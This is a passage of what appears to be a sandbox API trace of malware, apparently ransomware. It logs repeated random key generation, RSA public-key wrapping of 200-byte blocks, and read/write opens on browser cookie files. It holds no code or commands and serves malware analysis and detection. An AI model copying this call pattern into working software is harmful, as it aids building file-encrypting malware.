dwFlags=0x0) returned 1 [0174.920] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0174.921] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.922] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.922] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.922] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.922] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.924] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6eb8) returned 1 [0174.924] CryptGetKeyParam (in: hKey=0x35e6eb8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.924] CryptEncrypt (in: hKey=0x35e6eb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4180000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4180000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.924] GetLastError () returned 0x0 [0174.924] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.924] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0174.926] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6ef8) returned 1 [0174.926] CryptGetKeyParam (in: hKey=0x35e6ef8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.927] CryptEncrypt (in: hKey=0x35e6ef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4190000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4190000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.927] GetLastError () returned 0x0 [0174.927] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.927] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\1UYN2RFY.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\1uyn2rfy.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.927] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.928] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.928] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.929] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.929] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.929] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.929] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.930] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.930] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.930] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.930] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.932] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6f38) returned 1 [0174.932] CryptGetKeyParam (in: hKey=0x35e6f38, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.932] CryptEncrypt (in: hKey=0x35e6f38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x41a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x41a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.932] GetLastError () returned 0x0 [0174.932] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.932] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0174.934] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e7038) returned 1 [0174.934] CryptGetKeyParam (in: hKey=0x35e7038, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.934] CryptEncrypt (in: hKey=0x35e7038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x41b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x41b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.934] GetLastError () returned 0x0 [0174.934] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.935] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\23JC2UTD.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\23jc2utd.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.935] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0174.936] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.936] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.936] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.936] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.937] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0174.937] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.938] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.938] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.938] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.938] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.940] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6f78) returned 1 [0174.940] CryptGetKeyParam (in: hKey=0x35e6f78, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.940] CryptEncrypt (in: hKey=0x35e6f78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x41c0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x41c0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.941] GetLastError () returned 0x0 [0174.941] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.941] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0174.942] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e70b8) returned 1 [0174.942] CryptGetKeyParam (in: hKey=0x35e70b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.942] CryptEncrypt (in: hKey=0x35e70b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x41d0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x41d0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.943] GetLastError () returned 0x0 [0174.943] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.943] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\2EQ4E2OJ.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\2eq4e2oj.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.943] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0174.944] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.944] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.944] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.944] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.944] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.945] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.945] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.945] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.945] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.945] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0174.947] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e7138) returned 1 [0174.947] CryptGetKeyParam (in: hKey=0x35e7138, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.947] CryptEncrypt (in: hKey=0x35e7138, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x41e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x41e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.947] GetLastError () returned 0x0 [0174.947] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.947] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0174.949] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e7178) returned 1 [0174.950] CryptGetKeyParam (in: hKey=0x35e7178, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.950] CryptEncrypt (in: hKey=0x35e7178, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x41f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x41f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.950] GetLastError () returned 0x0 [0174.950] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.950] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\2HYILE1O.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\2hyile1o.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.950] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4540) returned 1 [0174.951] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.952] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.952] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.952] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.952] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.952] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.953] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.953] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.953] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.953] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0174.955] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6ff8) returned 1 [0174.955] CryptGetKeyParam (in: hKey=0x35e6ff8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.955] CryptEncrypt (in: hKey=0x35e6ff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4200000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4200000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.955] GetLastError () returned 0x0 [0174.955] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.955] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.957] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e70f8) returned 1 [0174.957] CryptGetKeyParam (in: hKey=0x35e70f8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.957] CryptEncrypt (in: hKey=0x35e70f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4210000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4210000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.958] GetLastError () returned 0x0 [0174.958] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.958] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\3RW4K76X.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\3rw4k76x.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.958] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.959] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.959] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.959] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.959] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.959] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.960] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.961] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.961] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.961] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.961] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.963] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e7478) returned 1 [0174.963] CryptGetKeyParam (in: hKey=0x35e7478, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.963] CryptEncrypt (in: hKey=0x35e7478, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4220000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4220000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.963] GetLastError () returned 0x0 [0174.963] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.963] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.965] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6fb8) returned 1 [0174.965] CryptGetKeyParam (in: hKey=0x35e6fb8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.965] CryptEncrypt (in: hKey=0x35e6fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4230000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4230000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.966] GetLastError () returned 0x0 [0174.966] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.966] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\3VVSZ2CO.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\3vvsz2co.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.966] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.967] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.968] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.968] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.968] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.968] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.968] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.969] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.969] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.969] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.969] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.971] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e6cf8) returned 1 [0174.971] CryptGetKeyParam (in: hKey=0x35e6cf8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.971] CryptEncrypt (in: hKey=0x35e6cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4240000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x4240000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.971] GetLastError () returned 0x0 [0174.971] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.971] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.973] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35e71b8) returned 1 [0174.973] CryptGetKeyParam (in: hKey=0x35e71b8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.973] CryptEncrypt (in: hKey=0x35e71b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x4250000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x4250000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.974] GetLastError () returned 0x0 [0174.974] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.974] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCookies\\Low\\4MN240WN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcookies\\low\\4mn240wn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.974] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0174.975] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.975] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.975] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.975] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.975] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.976] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.977] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.977] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.977] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.977] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.979] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: 